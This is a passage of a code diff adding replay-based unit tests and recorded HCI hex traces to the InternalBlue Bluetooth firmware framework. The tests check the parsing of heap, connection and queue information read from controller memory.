+                2235916: 2235952,
+                2235952: 2235988,
+                2236168: 2236204,
+                2236312: 2236348,
+                2235988: 2236024,
+                2236024: 2236060,
+                2236276: 2236312,
+                2236060: 2236096
+            },
+            'capacity': 15,
+            'address': 2157672,
+            'next': 2121160,
+            'memory_size': 540,
+            'waitlist_length': 0,
+            'buffer_list': 2235880,
+            'memory': 2235880,
+            'buffer_size': 32,
+            'prev': 2157624,
+            'list_length': 15,
+            'thread_waitlist': 0
+        }]
+
+    trace = os.path.join(os.path.dirname(os.path.abspath(__file__)),
+                         'traces/adbcore/dictionary_tests/info_heap_old.trace')
+    args = _parse_argv('')
+    args.device = 'adb_replay'
+    args.replay = trace
+
+    data_directory = os.path.expanduser('~') + '/.internalblue'
+
+    if not os.path.exists(data_directory):
+        os.mkdir(data_directory)
+
+    from internalblue.socket_hooks import hook, ReplaySocket
+    hook(ADBCore, ReplaySocket, filename=args.replay)
+
+    connection_methods = [ADBCore(log_level='info', data_directory=data_directory, replay=True)]
+
+    devices = []  # type: List[DeviceTuple]
+    devices = connection_methods[0].device_list()
+
+    device = devices[0]
+    reference = device[0]
+    reference.interface = device[1]
+    reference.connect()
+
+    information = reference.readHeapInformation()
+    print(information)
+
+    nose.tools.assert_equal(information, dummy)
+
+    reference.shutdown()

tests/test_info_conn_7.py

@@ -0,0 +1,52 @@
+from __future__ import print_function
+from internalblue.cli import _parse_argv
+from internalblue.adbcore import ADBCore
+from internalblue.objects.connection_information import ConnectionInformation
+
+import os
+import nose
+
+try:
+    from typing import List, Optional, Any, TYPE_CHECKING, Tuple
+    from internalblue import DeviceTuple
+except ImportError:
+    pass
+
+
+def test_info_conn_7():
+    dummy = ConnectionInformation(7, bytearray.fromhex('0023023a1a2e'), 0, True, 0xc,
+                                  bytearray.fromhex('e98a5eaaff39ecb5ce4447590dfb73a4'), 16,
+                                  bytearray.fromhex('dbea2d9c47bc1aa6afe664ff31591aa6'), -87,
+                                  bytearray.fromhex('0a00c821ffff8ffa'), bytearray.fromhex('9bff598701000000'),
+                                  bytearray.fromhex('00'))
+
+    trace = os.path.join(os.path.dirname(os.path.abspath(__file__)),
+                         'traces/adbcore/dictionary_tests/info_conn_7.trace')
+    args = _parse_argv('')
+    args.device = 'adb_replay'
+    args.replay = trace
+
+    data_directory = os.path.expanduser('~') + '/.internalblue'
+
+    if not os.path.exists(data_directory):
+        os.mkdir(data_directory)
+
+    from internalblue.socket_hooks import hook, ReplaySocket
+    hook(ADBCore, ReplaySocket, filename=args.replay)
+
+    connection_methods = [ADBCore(log_level='info', data_directory=data_directory, replay=True)]
+
+    devices = []  # type: List[DeviceTuple]
+    devices = connection_methods[0].device_list()
+
+    device = devices[0]
+    reference = device[0]
+    reference.interface = device[1]
+    reference.connect()
+
+    information = reference.readConnectionInformation(7)
+    print(information)
+
+    nose.tools.assert_dict_equal(vars(information), vars(dummy))
+
+    reference.shutdown()

tests/test_info_conn_9.py

@@ -0,0 +1,50 @@
+from __future__ import print_function
+from internalblue.cli import _parse_argv
+from internalblue.adbcore import ADBCore
+from internalblue.objects.connection_information import ConnectionInformation
+
+import os
+import nose
+
+try:
+    from typing import List, Optional, Any, TYPE_CHECKING, Tuple
+except ImportError:
+    pass
+
+
+def test_info_conn_9():
+    dummy = ConnectionInformation(9, bytearray.fromhex('000000000000'), 0, False, 12,
+                                  bytearray.fromhex('00000000000000000000000000000000'), 0, b'', -87,
+                                  bytearray.fromhex('0000000000000000'),
+                                  bytearray.fromhex('0000000000000000'), bytearray.fromhex('00'))
+
+    trace = os.path.join(os.path.dirname(os.path.abspath(__file__)),
+                         'traces/adbcore/dictionary_tests/info_conn_9.trace')
+    args = _parse_argv('')
+    args.device = 'adb_replay'
+    args.replay = trace
+
+    data_directory = os.path.expanduser('~') + '/.internalblue'
+
+    if not os.path.exists(data_directory):
+        os.mkdir(data_directory)
+
+    from internalblue.socket_hooks import hook, ReplaySocket
+    hook(ADBCore, ReplaySocket, filename=args.replay)
+
+    connection_methods = [ADBCore(log_level='info', data_directory=data_directory, replay=True)]
+
+    devices = []  # type: List[DeviceTuple]
+    devices = connection_methods[0].device_list()
+
+    device = devices[0]
+    reference = device[0]
+    reference.interface = device[1]
+    reference.connect()
+
+    information = reference.readConnectionInformation(9)
+    print(information)
+
+    nose.tools.assert_dict_equal(vars(information), vars(dummy))
+
+    reference.shutdown()

tests/test_queue.py

@@ -0,0 +1,63 @@
+from __future__ import print_function
+from internalblue.cli import _parse_argv
+from internalblue.adbcore import ADBCore
+from internalblue.objects.queue_element import QueueElement
+
+import os
+import nose
+
+try:
+    from typing import List, Optional, Any, TYPE_CHECKING, Tuple
+except ImportError:
+    pass
+
+def test_info_queue():
+    dummy = [
+        QueueElement(0, 2123152, 4, 16, 0, 16, 2123208, 2123272, 2123268, 2123268, 0, 0, 2123332, 2141676, 'tran_HCIEvent'),
+        QueueElement(1, 2123332, 8, 31, 0, 31, 2123388, 2123636, 2123436, 2123436, 0, 0, 2123636, 2123152, 'tran_ACLData'),
+        QueueElement(2, 2123636, 4, 3, 0, 3, 2123692, 2123704, 2123692, 2123692, 0, 0, 2123704, 2123332, 'tran_SCOData'),
+        QueueElement(3, 2123704, 4, 31, 0, 31, 2123760, 2123884, 2123760, 2123760, 0, 0, 2123884, 2123636, 'tran_UartBridgeNonHCIEvent'),
+        QueueElement(4, 2123884, 4, 20, 0, 20, 2123940, 2124020, 2124000, 2124000, 0, 0, 2124020, 2123704, 'tran_DiagData'),
+        QueueElement(5, 2124020, 8, 8, 0, 8, 2124076, 2124140, 2124076, 2124076, 0, 0, 2124140, 2123884, 'tran_HIDUsbKBEvt'),
+        QueueElement(6, 2124140, 8, 6, 0, 6, 2124196, 2124244, 2124196, 2124196, 0, 0, 2124244, 2124020, 'tran_HIDUsbMSEvt'),
+        QueueElement(7, 2124244, 8, 1, 0, 1, 2100496, 2100504, 2100496, 2100496, 0, 0, 2124300, 2124140, 'tran_HIDUsbMSCtrl'),
+        QueueElement(8, 2124300, 8, 1, 0, 1, 2100504, 2100512, 2100504, 2100504, 0, 0, 2124356, 2124244, 'tran_HIDUsbKBCtrl'),
+        QueueElement(9, 2124356, 8, 32, 0, 32, 2124412, 2124668, 2124412, 2124412, 0, 0, 2110352, 2124300, 'tran_HidAuxData'),
+        QueueElement(10, 2110352, 8, 12, 0, 12, 2192284, 2192380, 2192300, 2192300, 0, 0, 2120560, 2124356, 'lm_Cmd'),
+        QueueElement(11, 2120560, 4, 8, 0, 8, 2192380, 2192412, 2192400, 2192400, 0, 0, 2110408, 2110352, 'hci_HciCommand'),
+        QueueElement(12, 2110408, 8, 19, 0, 19, 2192412, 2192564, 2192412, 2192412, 0, 0, 2118068, 2120560, 'lm_deferredAction'),
+        QueueElement(13, 2118068, 8, 6, 0, 6, 2192564, 2192612, 2192564, 2192564, 0, 0, 2141588, 2110408, 'lrmmsm_cmd'),
+        QueueElement(14, 2141588, 4, 8, 0, 8, 2141644, 2141676, 2141644, 2141644, 0, 0, 2141676, 2118068, 'liteHostEvent'),
+        QueueElement(15, 2141676, 4, 16, 0, 16, 2141732, 2141796, 2141732, 2141732, 0, 0, 2123152, 2141588, 'litehostRcvdL2capData')
+    ]
+
+    trace = os.path.join(os.path.dirname(os.path.abspath(__file__)),
+                         'traces/adbcore/dictionary_tests/info_queue.trace')
+    args = _parse_argv('')
+    args.device = 'adb_replay'
+    args.replay = trace
+
+    data_directory = os.path.expanduser('~') + '/.internalblue'
+
+    if not os.path.exists(data_directory):
+        os.mkdir(data_directory)
+
+    from internalblue.socket_hooks import hook, ReplaySocket
+    hook(ADBCore, ReplaySocket, filename=args.replay)
+
+    connection_methods = [ADBCore(log_level='info', data_directory=data_directory, replay=True)]
+
+    devices = []  # type: List[DeviceTuple]
+    devices = connection_methods[0].device_list()
+
+    device = devices[0]
+    reference = device[0]
+    reference.interface = device[1]
+    reference.connect()
+
+    information = reference.readQueueInformation()
+    print(information)
+
+    nose.tools.assert_equal([vars(element) for element in information], [vars(element) for element in dummy])
+
+    reference.shutdown()

tests/traces/__init__.py

@@ -0,0 +1,63 @@
+from __future__ import print_function
+from __future__ import absolute_import
+
+from .testwrapper import trace_test, get_trace_path_cmd_tuple
+
+
+import os
+tracedir = os.path.dirname(__file__)
+
+#cores = ['macoscore', 'ioscore', 'adbcore', 'hcicore']
+
+
+
+
+import unittest
+
+
+def generate_test_suite_from_traces():
+
+    def generate_test_from_file(core, tracefile):
+        tracepath, cmd = get_trace_path_cmd_tuple(core, tracefile)
+
+        def test():
+            print("Running test %s " % (tracefile[:-6]))
+            trace_test(core, tracepath, cmd)
+
+        # Rename the function to the tracefile name without .trace suffix
+        test.__name__ = tracefile[:-6]
+        if cmd:
+            return test
+        else:
+            return unittest.skip("No command specified in trace {}".format(tracepath))(test)
+
+    suite = unittest.TestSuite()
+    for core in os.listdir(tracedir):
+        if os.path.isdir(os.path.join(tracedir,core)):
+            core_suite = unittest.TestSuite()
+            for tracefile in os.listdir(os.path.join(tracedir, core)):
+                if tracefile.endswith(".trace"):
+                    core_suite.addTest(
+                        unittest.FunctionTestCase(generate_test_from_file(core, tracefile), description=tracefile))
+            suite.addTest(core_suite)
+
+    return suite
+    # test_all_traces()
+
+def load_tests(loader, standard_tests, n):
+    """
+    This method is called by test frameworks to supply a testsuite instead of the test framework collecting them itself.
+    This allows use to automatically generate a proper test for each trace in the subdirectory that has a command specified.
+    Those tests are then run by the framework in the usual way which integrates with IDEs
+    TODO: Document PyCharm Setup
+    """
+
+    trace_suite = generate_test_suite_from_traces()
+    return trace_suite
+
+if __name__ == '__main__':
+    suite = generate_test_suite_from_traces()
+    unittest.TextTestRunner().run(suite)
+
+
+

tests/traces/adbcore/dictionary_tests/info_conn_7.trace

@@ -0,0 +1,21 @@
+TX 010300011000
+RX 0000000400000004000000020000000000e26b46e2c309cc
+RX 01011000
+RX 0000000f0000000f000000030000000000e26b46e2c3274f
+RX 04
+RX 0e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc05b0402000fb
+RX 000000090000000900000002
+RX 0000000000e26b46e2d06c12
+RX 014dfc05b0402000fb
+RX 0000010200000102000000030000000000e26b46
+RX e2d093f7
+RX 040eff014dfc0007000000000000000000000000000007000000000000000000007711572d980700000000000010002e1a3a022300feb10a00c821ffff8ffa9bff59870100000000000000000000000000000000000000000000000000008d0500fa0a401f0000401f00000c001adddbea2d9c47bc1aa6afe664ff31591aa6e98a5eaaff39ecb5ce4447590dfb73a4161203cd6e77be6a4bcfb3ee52d3e2c40000000028000404000000130000001000000000020001003c002003001800009c7e1200b00402000200000002000101010200000000000000000000ffffffffffffffff0000000100000000000005f8ff001add0020000000000015d1000000000000
+TX 0108004dfc05ab41200051
+RX 000000090000000900000002
+RX 0000000000e26b46e2d18faa
+RX 014dfc05ab41200051
+RX 0000005800000058000000030000000000e26b46e2d1ade2
+RX 040e55014dfc000000000000000000000000000000000000a4000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000001000000
+Socket closed

tests/traces/adbcore/dictionary_tests/info_conn_9.trace

@@ -0,0 +1,24 @@
+#info connections
+TX 010300011000
+RX 0000000400000004000000020000000000e269c211af9287
+RX 01011000
+RX 0000000f0000000f000000030000000000e269c211afc606
+RX 040e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc0548432000fb
+RX 0000000900000009000000020000000000e269c2
+RX 11cde3be
+RX 014dfc0548432000fb
+RX 00000102
+RX 000001020000000300000000
+RX 00e269c211ce175c
+RX 04
+RX 0eff014dfc000900000000000000000000000000000000000000000000000000777700c91000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000007d0000007d00000c001eff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffff0000000100000000000000f0ff0000000000000000000001c4000000000000
+TX 0108004dfc054344200051
+RX 0000000900000009000000020000000000e269c2
+RX 11cf5a52
+RX 014dfc054344200051
+RX 000000580000005800000003
+RX 0000000000e269c211cf8917
+RX 040e55014dfc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+Socket closed

tests/traces/adbcore/dictionary_tests/info_heap_old.trace

@@ -0,0 +1,685 @@
+# info heap
+TX 010300011000
+RX 0000000400000004000000020000000000e269c200a6dc56
+RX 01011000
+RX 0000000f0000000f000000030000000000e269c2
+RX 00a717ec
+RX 04
+RX 0e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc059430200004
+RX 000000030000000300000003
+RX 0000000000e269c200a87965
+RX 07f001
+RX 00000009000000090000000200000000
+RX 00e269c200a8e193
+RX 01
+RX 4dfc059430200004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 00a918e2
+RX 040e08014dfc00c85d2000
+TX 0108004dfc05c85d200030
+RX 000000090000000900000002
+RX 0000000000e269c200aab793
+RX 014dfc05c85d200030
+RX 00000037
+RX 000000370000000300000000
+RX 00e269c200aaf0ec
+RX 04
+RX 0e34014dfc00434f4c42000000000700000008000000a4792100a479210020010000200000000000000000000000f85d200068ec2000
+TX 0108004dfc05a479210004
+RX 000000090000000900000002
+RX 0000000000e269c200acb1ba
+RX 014dfc05a479210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200ace5c2
+RX 04
+RX 0e08014dfc00c85d2000
+TX 0108004dfc05c879210004
+RX 000000090000000900000002
+RX 0000000000e269c200ae2501
+RX 014dfc05c879210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200ae5915
+RX 04
+RX 0e08014dfc00587a2100
+TX 0108004dfc05ec79210004
+RX 0000000900000009000000020000000000e269c200b01eae
+RX 01
+RX 4dfc05ec79210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200b04d6c
+RX 04
+RX 0e08014dfc007c7a2100
+TX 0108004dfc05107a210004
+RX 0000000900000009000000020000000000e269c200b19061
+RX 014dfc05107a210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200b1c4f3
+RX 04
+RX 0e08014dfc00c8792100
+TX 0108004dfc05347a210004
+RX 0000000900000009000000020000000000e269c200b38d00
+RX 01
+RX 4dfc05347a210004
+RX 0000000b0000000b
+RX 000000030000000000e269c200b3bbaa
+RX 040e08014dfc00c85d2000
+TX 0108004dfc05587a210004
+RX 0000000900000009000000020000000000e269c200b58252
+RX 014dfc05587a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00b5b18b
+RX 040e08014dfc00ec792100
+TX 0108004dfc057c7a210004
+RX 0000000900000009000000020000000000e269c200b6f455
+RX 014dfc057c7a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00b728c4
+RX 040e08014dfc00a07a2100
+TX 0108004dfc05a07a210004
+RX 000000090000000900000002
+RX 0000000000e269c200b8f1d6
+RX 014dfc05a07a210004
+RX 0000000b0000000b000000030000000000e269c2
+RX 00b92612
+RX 040e08014dfc0000000000
+TX 0108004dfc05f85d200030
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00ba65be
+RX 014dfc05f85d200030
+RX 00000037000000370000000300000000
+RX 00e269c200ba9b76
+RX 04
+RX 0e34014dfc00434f4c42000000000700000008000000087b2100c47a210020020000400000000000000000000000285e2000c85d2000
+TX 0108004dfc05c47a210004
+RX 000000090000000900000002
+RX 0000000000e269c200bc6390
+RX 014dfc05c47a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00bc987e
+RX 04
+RX 0e08014dfc00087b2100
+TX 0108004dfc05087b210004
+RX 0000000900000009000000020000000000e269c2
+RX 00bdd708
+RX 014dfc05087b210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200be075f
+RX 04
+RX 0e08014dfc004c7b2100
+TX 0108004dfc054c7b210004
+RX 0000000900000009000000020000000000e269c200bfd07f
+RX 014dfc054c7b210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00bfffe2
+RX 040e08014dfc00907b2100
+TX 0108004dfc05907b210004
+RX 000000090000000900000002
+RX 0000000000e269c200c1c264
+RX 014dfc05907b210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00c1fba1
+RX 040e08014dfc00d47b2100
+TX 0108004dfc05d47b210004
+RX 000000090000000900000002
+RX 0000000000e269c200c339f3
+RX 014dfc05d47b210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00c36f64
+RX 040e08014dfc00187c2100
+TX 0108004dfc05187c210004
+RX 0000000900000009000000020000000000e269c200c53386
+RX 014dfc05187c210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00c56249
+RX 040e08014dfc005c7c2100
+TX 0108004dfc055c7c210004
+RX 0000000900000009000000020000000000e269c2
+RX 00c6a64c
+RX 014dfc055c7c210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200c6d51e
+RX 04
+RX 0e08014dfc00a07c2100
+TX 0108004dfc05a07c210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00c8a176
+RX 014dfc05a07c210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200c8daef
+RX 04
+RX 0e08014dfc0000000000
+TX 0108004dfc05285e200030
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00ca1661
+RX 014dfc05285e200030
+RX 000000370000003700000003
+RX 0000000000e269c200ca4c0b
+RX 040e34014dfc00434f4c42000000000a0000000a000000e47c2100e47c2100780a0000080100000000000000000000885e2000f85d2000
+TX 0108004dfc05e47c210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00cc13aa
+RX 014dfc05e47c210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200cc49c8
+RX 04
+RX 0e08014dfc00f07d2100
+TX 0108004dfc05f07d210004
+RX 00000009000000090000000200000000
+RX 00e269c200ce084a
+RX 014dfc05f07d210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00ce3d02
+RX 040e08014dfc00fc7e2100
+TX 0108004dfc05fc7e210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00cf7abc
+RX 014dfc05fc7e210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200cfafff
+RX 04
+RX 0e08014dfc0008802100
+TX 0108004dfc050880210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00d1718e
+RX 014dfc050880210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200d1ad02
+RX 040e08014dfc0014812100
+TX 0108004dfc051481210004
+RX 0000000900000009000000020000000000e269c200d2e49d
+RX 01
+RX 4dfc051481210004
+RX 0000000b0000000b
+RX 000000030000000000e269c200d313fc
+RX 040e08014dfc0020822100
+TX 0108004dfc052082210004
+RX 0000000900000009000000020000000000e269c2
+RX 00d4dfc6
+RX 014dfc052082210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200d50e59
+RX 040e08014dfc002c832100
+TX 0108004dfc052c83210004
+RX 00000009000000090000000200000000
+RX 00e269c200d65308
+RX 01
+RX 4dfc052c83210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 00d68806
+RX 040e08014dfc0038842100
+TX 0108004dfc053884210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00d84aba
+RX 014dfc053884210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200d88584
+RX 040e08014dfc0044852100
+TX 0108004dfc054485210004
+RX 0000000900000009000000020000000000e269c2
+RX 00da42d6
+RX 014dfc054485210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200da7651
+RX 040e08014dfc0050862100
+TX 0108004dfc055086210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00dbba9e
+RX 014dfc055086210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200dbf538
+RX 04
+RX 0e08014dfc0000000000
+TX 0108004dfc05885e200030
+RX 00000009000000090000000200000000
+RX 00e269c200ddb037
+RX 01
+RX 4dfc05885e200030
+RX 000000370000003700000003
+RX 0000000000e269c200dde9b6
+RX 040e34014dfc00434f4c4200000000040000000400000024c6210024c62100b0100000280400000000000000000000585e2000285e2000
+TX 0108004dfc0524c6210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00df268a
+RX 014dfc0524c6210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200df5cd7
+RX 040e08014dfc0050ca2100
+TX 0108004dfc0550ca210004
+RX 0000000900000009000000020000000000e269c2
+RX 00e11eb6
+RX 01
+RX 4dfc0550ca210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200e15819
+RX 040e08014dfc007cce2100
+TX 0108004dfc057cce210004
+RX 00000009000000090000000200000000
+RX 00e269c200e29334
+RX 01
+RX 4dfc057cce210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 00e2c73e
+RX 040e08014dfc00a8d22100
+TX 0108004dfc05a8d2210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00e4925e
+RX 014dfc05a8d2210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200e4c673
+RX 040e08014dfc0000000000
+TX 0108004dfc05585e200030
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00e5ff65
+RX 014dfc05585e200030
+RX 000000370000003700000003
+RX 0000000000e269c200e63326
+RX 040e34014dfc00434f4c42000000001000000010000000d4d62100d4d621008044000044040000000000000000000038ec2000885e2000
+TX 0108004dfc05d4d6210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00e7fcce
+RX 014dfc05d4d6210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200e8313f
+RX 040e08014dfc001cdb2100
+TX 0108004dfc051cdb210004
+RX 0000000900000009000000020000000000e269c200e9f3c0
+RX 014dfc051cdb210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 00ea223f
+RX 040e08014dfc0064df2100
+TX 0108004dfc0564df210004
+RX 00000009000000090000000200000000
+RX 00e269c200eb6947
+RX 01
+RX 4dfc0564df210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200eb9dc8
+RX 04
+RX 0e08014dfc00ace32100
+TX 0108004dfc05ace3210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00ed6025
+RX 014dfc05ace3210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00edb820
+RX 040e08014dfc00f4e72100
+TX 0108004dfc05f4e7210004
+RX 00000009000000090000000200000000
+RX 00e269c200eeaa84
+RX 014dfc05f4e7210004
+RX 0000000b0000000b000000030000000000e269c200eeb23c
+RX 04
+RX 0e08014dfc003cec2100
+TX 0108004dfc053cec210004
+RX 0000000900000009
+RX 000000020000000000e269c200ef25f0
+RX 01
+RX 4dfc053cec210004
+RX 0000000b
+RX 0000000b000000030000000000e269c200ef2e26
+RX 04
+RX 0e08014dfc0084f02100
+TX 0108004dfc0584f0210004
+RX 0000000900000009000000020000000000e269c200efa285
+RX 014dfc0584f0210004
+RX 0000000b
+RX 0000000b000000030000000000e269c200efa979
+RX 040e08014dfc00ccf42100
+TX 0108004dfc05ccf4210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00f0207c
+RX 014dfc05ccf4210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200f028c8
+RX 04
+RX 0e08014dfc0014f92100
+TX 0108004dfc0514f9210004
+RX 0000000900000009000000020000000000e269c200f0b8fd
+RX 014dfc0514f9210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200f0bf4a
+RX 040e08014dfc005cfd2100
+TX 0108004dfc055cfd210004
+RX 00000009000000090000000200000000
+RX 00e269c200f11c7d
+RX 01
+RX 4dfc055cfd210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200f12aa4
+RX 040e08014dfc00a4012200
+TX 0108004dfc05a401220004
+RX 0000000900000009000000020000000000e269c200f1946c
+RX 014dfc05a401220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200f19f40
+RX 040e08014dfc00ec052200
+TX 0108004dfc05ec05220004
+RX 0000000900000009000000020000000000e269c200f20f44
+RX 01
+RX 4dfc05ec05220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200f21b6a
+RX 04
+RX 0e08014dfc00340a2200
+TX 0108004dfc05340a220004
+RX 0000000900000009000000020000000000e269c200f29be7
+RX 014dfc05340a220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 00f2b3bd
+RX 040e08014dfc007c0e2200
+TX 0108004dfc057c0e220004
+RX 00000009
+RX 00000009
+RX 0000000200000000
+RX 00e269c200f3a7c6
+RX 01
+RX 4dfc057c0e220004
+RX 0000000b0000000b000000030000000000e269c2
+RX 00f4951f
+RX 040e08014dfc00c4122200
+TX 0108004dfc05c412220004
+RX 0000000900000009
+RX 000000020000000000e269c200f637e5
+RX 014dfc05c412220004
+RX 0000000b0000000b000000030000000000e269c200f63f91
+RX 040e08014dfc000c172200
+TX 0108004dfc050c17220004
+RX 00000009
+RX 000000090000000200000000
+RX 00e269c200f6f156
+RX 014dfc050c17220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200f6f966
+RX 04
+RX 0e08014dfc0000000000
+TX 0108004dfc0538ec200030
+RX 00000009000000090000000200000000
+RX 00e269c200f76de0
+RX 014dfc0538ec200030
+RX 0000003700000037000000030000000000e269c200f7757d
+RX 040e34014dfc00434f4c42000000000f0000000f000000541b2200541b22009402000028000000000000000000000068ec2000585e2000
+TX 0108004dfc05541b220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00f8133d
+RX 014dfc05541b220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200f83a20
+RX 04
+RX 0e08014dfc00801b2200
+TX 0108004dfc05801b220004
+RX 0000000900000009000000020000000000e269c200f909ee
+RX 014dfc05801b220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c200f935e2
+RX 04
+RX 0e08014dfc00ac1b2200
+TX 0108004dfc05ac1b220004
+RX 0000000900000009000000020000000000e269c2
+RX 00fb146c
+RX 014dfc05ac1b220004
+RX 0000000b
+RX 0000000b00000003
+RX 0000000000e269c200fb4327
+RX 040e08014dfc00d81b2200
+TX 0108004dfc05d81b220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 00fd0682
+RX 014dfc05d81b220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c200fd3fca
+RX 04
+RX 0e08014dfc00041c2200
+TX 0108004dfc05041c220004
+RX 00000009000000090000000200000000
+RX 00e269c200fe7d8e
+RX 01
+RX 4dfc05041c220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c200feb0d4
+RX 040e08014dfc00301c2200
+TX 0108004dfc05301c220004
+RX 0000000900000009000000020000000000e269c2
+RX 010074cc
+RX 014dfc05301c220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c20100a76b
+RX 04
+RX 0e08014dfc005c1c2200
+TX 0108004dfc055c1c220004
+RX 0000000900000009000000020000000000e269c20101eacb
+RX 014dfc055c1c220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201021779
+RX 04
+RX 0e08014dfc00881c2200
+TX 0108004dfc05881c220004
+RX 0000000900000009000000020000000000e269c20103e6c3
+RX 014dfc05881c220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201041515
+RX 04
+RX 0e08014dfc00b41c2200
+TX 0108004dfc05b41c220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 01055aa2
+RX 014dfc05b41c220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201058f0e
+RX 040e08014dfc00e01c2200
+TX 0108004dfc05e01c220004
+RX 000000090000000900000002
+RX 0000000000e269c201075199
+RX 014dfc05e01c220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201078a8c
+RX 04
+RX 0e08014dfc000c1d2200
+TX 0108004dfc050c1d220004
+RX 0000000900000009000000020000000000e269c2
+RX 010948a2
+RX 014dfc050c1d220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201097c0d
+RX 04
+RX 0e08014dfc00381d2200
+TX 0108004dfc05381d220004
+RX 0000000900000009
+RX 000000020000000000e269c2010ac2b3
+RX 014dfc05381d220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2010afeef
+RX 04
+RX 0e08014dfc00641d2200
+TX 0108004dfc05641d220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 010cbc41
+RX 014dfc05641d220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2010cefe5
+RX 040e08014dfc00901d2200
+TX 0108004dfc05901d220004
+RX 00000009000000090000000200000000
+RX 00e269c2010e2df1
+RX 01
+RX 4dfc05901d220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2010e61ea
+RX 040e08014dfc00bc1d2200
+TX 0108004dfc05bc1d220004
+RX 000000090000000900000002
+RX 0000000000e269c20110231e
+RX 014dfc05bc1d220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c201105c92
+RX 04
+RX 0e08014dfc0000000000
+TX 0108004dfc0568ec200030
+RX 0000000900000009000000020000000000e269c2
+RX 01119816
+RX 014dfc0568ec200030
+RX 00000037000000370000000300000000
+RX 00e269c20111c667
+RX 04
+RX 0e34014dfc00434f4c42000000000f0000000f000000e81d2200e81d22001c020000200000000000000000000000c85d200038ec2000
+TX 0108004dfc05e81d220004
+RX 00000009000000090000000200000000
+RX 00e269c201138f25
+RX 01
+RX 4dfc05e81d220004
+RX 0000000b0000000b
+RX 000000030000000000e269c20113c768
+RX 040e08014dfc000c1e2200
+TX 0108004dfc050c1e220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 011507e7
+RX 014dfc050c1e220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c201153d26
+RX 04
+RX 0e08014dfc00301e2200
+TX 0108004dfc05301e220004
